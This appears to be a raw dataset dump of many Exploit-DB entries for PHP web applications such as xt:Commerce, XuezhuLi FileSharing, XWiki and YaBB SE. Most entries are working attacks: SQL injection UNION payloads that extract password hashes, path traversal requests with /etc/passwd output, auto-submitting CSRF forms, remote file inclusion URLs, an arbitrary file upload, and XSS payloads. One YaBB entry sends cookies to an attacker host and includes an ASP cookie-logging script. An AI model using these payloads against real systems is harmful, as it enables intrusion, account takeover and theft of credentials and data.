deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15455
Description: xt:Commerce Shopsoftware 3/4 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-08
Author: Net.Edit0r

Exploit:
=============================================================
xt:Commerce Shopsoftware (fckeditor) File Upload Vulnerability
=============================================================
###################################################
#
# Exploit Title: xt:Commerce Shopsoftware (fckeditor)
# Date: 08/11/2010
# Author: Net.Edit0r
# Software Link: www.xt-commerce.com/
# Version: 3 & 4
# Tested on: Linux Ubuntu 9.04
# dork : "eCommerce Engine © 2006 xt:Commerce Shopsoftware"
# Contact: Net.Edit0r@att.net ~ Black.hat.tm@gmail.com
#
####################################################

    exploit # admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html

first go to # http://site.com/[shop]

       then # http://site.com/[shop]/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html

     select # Select the "File Uploader"> php ... upload to : Uploaded
File URL:

Demo : http://www.site.com/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html

Demo : http://www.site.com/admin/includes/modules/fckeditor/editor/filemanager/connectors/uploadtest.html

#######################################################

Home : datacoders.org ~ ajaxtm.com #Iranian HackerZ

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , Zalatan , P0W3RFU7
       BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ B3hz4d ~ Raiden ~ m4hd1
Exploit-DB #35408
Description: xtcModified 1.05 - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46681/info

xtcModified is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

xtcModified 1.05 is vulnerable; other versions may also be affected. 

Cross-site scripting:

http://www.example/admin/categories.php?search=prod"><script>alert(document.cookie)</script>
http://www.example/admin/orders.php?selected_box=customers"><script>alert(document.cookie)</script>&status=0

Html-injection:

1. 

<form action="http://www.example/admin/customers.php?cID=1&action=update" method="post" name="main">

<input type="hidden" name="default_address_id" value="1">
<input type="hidden" name="customers_gender" value="m">
<input type="hidden" name="csID" value="">
<input type="hidden" name="customers_firstname" value="FirstName">
<input type="hidden" name="customers_lastname" value="LName">
<input type="hidden" name="customers_dob" value="01/01/2007">
<input type="hidden" name="customers_email_address" value="email@example.com">
<input type="hidden" name="entry_company" value="company">
<input type="hidden" name="entry_password" value="mypass">
<input type="hidden" name="memo_title" value=&#039;mmtitle"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="memo_text" value=&#039;txt"><script>alert(document.cookie)</script>&#039;>

</form>
<script>
document.main.submit();
</script>


2. 

<form action="http://www.example/admin/configuration.php?gID=1&action=save" method="post" name="main">

<input type="hidden" name="STORE_NAME" value=&#039;My Store"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="STORE_OWNER" value="Owner">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com">
<input type="hidden" name="STORE_COUNTRY" value="81">
<input type="hidden" name="STORE_ZONE" value="80">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="address">
<input type="hidden" name="CURRENT_TEMPLATE" value="xtc5">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #1887
Description: Xtreme/Ditto News 1.0 - 'post.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Xtreme/Ditto News <= v.1.0 Remote File Include Vulnerability
$$  Script site: http://www.xtremescripts.com/
$$  Script site: http://www.dittoscripts.com/
$$  Dork: "News Managed by Ditto News"
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[XtremeNews_path]/sources/post.php?fil_config=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-07]
Exploit-DB #27963
Description: XUEBook 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-03
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18262/info

xueBook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.php?start=[SQL]
Exploit-DB #40010
Description: XuezhuLi FileSharing - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2016-06-23
Author: HaHwul

Exploit:
<!--	
# Exploit Title: XuezhuLi FileSharing - CSRF(Add User)
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/XuezhuLi
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]
-->

<form name="csrf_poc" action="http://127.0.0.1/vul_test/FileSharing/signup.php" method="POST">
<input type="hidden" name="sign" value="ok">
<input type="hidden" name="newuser" value="csrf_test">

<input type="submit" value="Replay!">
</form>

<script type="text/javascript">document.forms.csrf_poc.submit();</script>

<!--
Output.
#> cat /srv/userlists.txt 
aaaa
csrf_test

-->
Exploit-DB #40009
Description: XuezhuLi FileSharing - Directory Traversal
Type: webapps
Platform: php
Date: 2016-06-23
Author: HaHwul

Exploit:
# Exploit Title: XuezhuLi FileSharing - Path Traversal Vulnerability
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/XuezhuLi
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability
 1. download.php -> file_name parameter
 2. viewing.php  -> file_name parameter

### Vulnerability 1 - download.php
GET /vul_test/FileSharing/download.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]398535.2; __utmz=96[PII_REDACTED]384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=[PII_REDACTED]; bdshare_firstime=[PII_REDACTED]40; PHPSESSID=uetimns4scbtk46c8m6ab7upp1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 06:17:58 GMT
..snip..
Content-Type: application/octet-stream


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

# ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
### Vulnerability 2 - viewing.php
GET /vul_test/FileSharing/viewing.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]398535.2; __utmz=96[PII_REDACTED]384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=[PII_REDACTED]; bdshare_firstime=[PII_REDACTED]40; PHPSESSID=uetimns4scbtk46c8m6ab7upp1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 06:19:49 GMT
Server: Apache/2.4.10 (Ubuntu)
..snip..
Content-Type: text/plain;charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Exploit-DB #20856
Description: XWiki 4.2-milestone-2 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-27
Author: Shai rod

Exploit:
# Exploit Title: Multiple Stored XSS Vulnerabilities in XWiki.
# Date: 26/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.xwiki.org
# Software Link: http://enterprise.xwiki.org/xwiki/bin/view/Main/Download
# Version: 4.2-milestone-2

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

XWiki Enterprise is a professional wiki that has powerful extensibility features such as scripting in pages, plugins and a highly modular architecture.


Vulnerability Description
=========================

1. Stored XSS in User Profile.

Vulnerable Fields: "First Name", "Last Name" , "Company", "Phone", "Blog", "Blog Feed". 


Steps to reproduce the issue:

1.1. Go to your profile.
1.2. Edit "Personal Information".
1.3. Insert Javascript Payload: <img src='1.jpg'onerror=javascript:alert(0)> in one or all of the Vulnerable Fields.
1.4. Click the "Save and View" button.
1.5. The XSS Should be triggered.


2. Link Label Stored XSS.

Vulnerable Field: "Label"

Steps to reproduce the issue:

2.1. Add a new page or edit an existing one.
2.2. In the WYSIWYG Editor add a new "Web Page" Link.
2.3. Enter a "Webpage address" and in the "Label" field Insert Javascript Payload: This is a link"><img src='1.jpg'onerror=javascript:alert(0)>
2.4. Click the "Create Link" button.
2.5. The XSS Should be triggered.

The XSS Will be also triggered when users visits the page with the malicious link.


3. "Space Name" Stored XSS

Vulnerable Field: "SPACE NAME"

Steps to reproduce the issue:

3.1. Create a new space.
3.2. Insert Javascript Payload: <img src='1.jpg'onerror=javascript:alert(0)> in the "Space Name" field.
3.3. Select Blank homepage.
3.4. Click the "CREATE" button.
3.5. XSS Should be triggered in the "document index" view.

The XSS should also be triggerd on the main page.
Exploit-DB #42727
Description: XYZ Auto Classifieds 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-12
Author: 8bitsec

Exploit:
# Exploit Title: XYZ Auto Classifieds v1.0 - SQL Injection
# Date: 2017-09-12
# Exploit Author: 8bitsec
# Vendor Homepage: http://xyzscripts.com/
# Software Link: https://xyzscripts.com/php-scripts/xyz-auto-classifieds/details
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-12

Product & Service Introduction:
===============================
XYZ Auto Classifieds is a simple and robust PHP + MySQL based auto classifieds script with all options required to start your own auto classifieds site like cars.com.

Technical Details & Description:
================================

SQL injection on [view] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/xyz-auto-classifieds/item/view/13 and sleep(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #4795
Description: XZero Community Classifieds 4.95.11 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-26
Author: Kw3[R]Ln

Exploit:
# XZero Community Classifieds  <= v4.95.11 Remote File Inclusion
# linK : http://www.xzeroscripts.com
# download: http://rapidshare.com/files/66809648/XZCl4.95.11.rar
#
# (c)od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A http://rstzone.org
#
# we have in config.inc.php:
#    line303:    require_once("{$path_escape}ipblock.inc.php");
#
# link: http://site.com/config.inc.php?path_escape=shell.txt%00
#
# meri crismas...hohoho
# greetz to all RST [rstzone.org] MEMBERZ !

# milw0rm.com [2007-12-26]
Exploit-DB #33110
Description: XZeroScripts XZero Community Classifieds 4.97.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35809/info

XZeroScripts XZero Community Classifieds is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The issues affect XZeroScripts XZero Community Classifieds 4.97.8; other versions may also be vulnerable. 

http://www.example.com/xzero_classifieds/?_xzcal_m=6&_xzcal_y=1<body+onload=alert[PII_REDACTED]77)>
http://www.example.com/xzero_classifieds/index.php?cityid=1777&view=post&postevent=1"+onmouseover=alert[PII_REDACTED]34)+
Exploit-DB #3908
Description: YAAP 1.5 - '__autoload()' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-12
Author: 3l3ctric-Cracker

Exploit:
--------------------------------------------------------------------------------
Script name.......:Yaap
Affected Version.....:1.5
D.page..:http://yaap.oskbraniewo.pl/download/yaap_15.tar.gz
--------------------------------------------------------------------------------
Author:3l3ctric-Cracker  (Dr Max Virus) :D
Contact:drmaxvirus@w.cn
--------------------------------------------------------------------------------
Bug in:\public_html\includes\common.php
Vul Code:
include_once($root_path.'/classes/'.$class_name.'.php');
----------------------------------------------------------------------------------
POC:
http:[target]/[path]/includes/common.php?root_path=ShellCode
-----------------------------------------------------------------------------------

# milw0rm.com [2007-05-12]
Exploit-DB #22146
Description: YABB 1.4.1 SE - 'Reminder.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-01-12
Author: VOID.AT Security

Exploit:
source: https://www.securityfocus.com/bid/6591/info

It has been reported that a problem exists in the Reminder.php script distributed as part of YaBB SE. Due to insufficient sanitizing of input, it is possible for a remote user to inject arbitrary SQL into the database used by YaBB SE that could be used to reset or change the password of a user. 

http://www.example.com/yabbse/Reminder.php?searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername]
Exploit-DB #21950
Description: YaBB 1.40/1.41 - Login Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-18
Author: Nir Adar

Exploit:
source: https://www.securityfocus.com/bid/6004/info

A cross-site scripting vulnerability has been reported in the YaBB (Yet Another Bulletin Board) forum login script. HTML tags or script code are not sanitized from the error output of erroneous login attempts.

As a result, it is possible for a remote attacker to create a malicious link to the login page of a site hosting the web forum. The malicious link may contain arbitrary HTML and script code in the password field. Visiting the link will cause attacker-supplied code to be executed in the web client of the user.

It has been demonstrated that this vulnerability may be exploited to steal cookie-based authentication credentials. Furthermore, once an attacker has hijacked a user's session with the credentials it is possible to change that user's password without needing to further authenticate.

http://example.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>

An ASP script was also provided which will receive stolen cookie-based authentication credentials. 

------------------------------- hack.asp ------------------------------------ <% Option Explicit Const ForWriting = 2 Const ForAppending = 8 Const Create = True Dim MyFile Dim FSO ' FileSystemObject Dim TSO ' TextStreamObject Dim Str Str = Request.ServerVariables("QUERY_STRING") MyFile = Server.MapPath("./db/log.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create) if (Str <> "") then TSO.WriteLine Str TSO.close Set TSO = Nothing Set FSO = Nothing %> You have just been hacked. ----------------------------------- EOF -----------------------------------
Exploit-DB #25199
Description: YaBB 2.0 - Remote UsersRecentPosts Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-08
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/12756/info

A remote cross-site scripting vulnerability affects YaBB. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>
http://wordforlife.com/cgi-bin/yabb2/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>
http://yabbtest.spikecity.net/cgi-bin/SP2/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>
Exploit-DB #23710
Description: YABB SE 1.5 - 'Quote' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-16
Author: BaCkSpAcE

Exploit:
source: https://www.securityfocus.com/bid/9674/info

It has been reported that YaBB SE may be prone to a SQL injection vulnerability that may allow a remote user to inject arbitrary SQL queries into the database used by the software. 

YaBB SE versions 1.5.4 and 1.5.5 have been reported to be affected by this issue, however, other versions could be affected as well.

http://www.example.com/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,nul
l,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*
Exploit-DB #23812
Description: YABB SE 1.5.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-15
Author: Cheng Peng Su

Exploit:
source: https://www.securityfocus.com/bid/9873/info

It has been reported that YaBB and YaBB SE are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly validate URI supplied user input.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

[glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]

[shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow]

The following proof of concept has been supplied by frog-m@n:
[glow=red,2);background:url(javascript:[SCRIPT],300]text[/glow]
Exploit-DB #23774
Description: YaBB SE 1.5.x - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2004-03-01
Author: Alnitak & BackSpace

Exploit:
source: https://www.securityfocus.com/bid/9774/info

It has been reported that YaBB SE may be prone to multiple vulnerabilities due to improper input validation. The issues may allow an attacker to carry out SQL injection and directory traversal attacks. Successful exploitation of these issues may allow an attacker to gain access to sensitive information that may be used to mount further attacks against a vulnerable system. The SQL injection vulnerabilities can be exploited to gain access to user authentication credentials and corrupt user information in the underlying database.

YaBB SE versions 1.5.4, 1.5.5, and 1.5.5b are reported to be affected by these issues, however it is possible that other versions are vulnerable as well.

http://www.example.com/forum/index.php?board=1;action=modify2;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;subject=hola;message=hola;waction=deletemodify;posti
d=1+or+1=1+ORDER+BY+ID_MSG+DESC/*
Exploit-DB #23775
Description: YaBB SE 1.5.x - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-03-01
Author: Alnitak & BackSpace

Exploit:
source: https://www.securityfocus.com/bid/9774/info
 
It has been reported that YaBB SE may be prone to multiple vulnerabilities due to improper input validation. The issues may allow an attacker to carry out SQL injection and directory traversal attacks. Successful exploitation of these issues may allow an attacker to gain access to sensitive information that may be used to mount further attacks against a vulnerable system. The SQL injection vulnerabilities can be exploited to gain access to user authentication credentials and corrupt user information in the underlying database.
 
YaBB SE versions 1.5.4, 1.5.5, and 1.5.5b are reported to be affected by these issues, however it is possible that other versions are vulnerable as well.

http://www.example.com/forum/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%2
7,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

http://www.example.com/forum/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../d
eleteme.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,nul
l,null,null,null,null,null,null,null,null/* HTTP/1.0